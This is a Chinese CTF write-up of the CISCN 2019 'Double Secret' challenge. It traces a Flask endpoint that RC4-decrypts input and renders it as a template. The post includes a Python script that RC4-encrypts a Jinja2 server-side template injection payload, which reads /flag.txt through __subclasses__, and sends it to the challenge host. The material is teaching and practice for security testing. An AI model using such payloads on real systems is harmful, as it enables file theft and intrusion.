0%

[CISCN 2019华东南]Double Secret

[CISCN 2019华东南]Double Secret

[CISCN 2019华东南]Double Secret | NSSCTF

1

进入题目环境看一下,没有什么思路

扫目录:

2

发现可疑的secret,还有concole,说明是python的flask框架

访问secret目录

3

可能是后台会解密传入的secret?

传入

1
?secret={{7*7}}

直接就是报错了,这里找到一个可疑的报错,应该是传入命令的解密过程

4

1
2
3
4
5
6
7
8
9
if(secret==None):
return 'Tell me your secret.I will encrypt it so others can\'t see'
rc=rc4_Modified.RC4("HereIsTreasure") #解密
deS=rc.do_crypt(secret)
a=render_template_string(safe(deS))

if 'ciscn' in a.lower():
return 'flag detected!'
return a

一个解密函数

RC4密钥是HereIsTreasure

那么写个加密函数RC4对称加密一下payload即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from Cryptodome.Cipher import ARC4
import requests

key=b'HereIsTreasure'
msg=b"{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/flag.txt').read()}}"

enc=ARC4.new(key).encrypt(msg)
enc=''.join(map(chr,enc)).encode()

req=requests.get('http://node4.anna.nssctf.cn:28043/secret',{'secret':enc})
print(req.text)

#因为服务端老旧的py2编码问题,要用enc=''.join(map(chr,enc)).encode()这样很别扭的办法适配: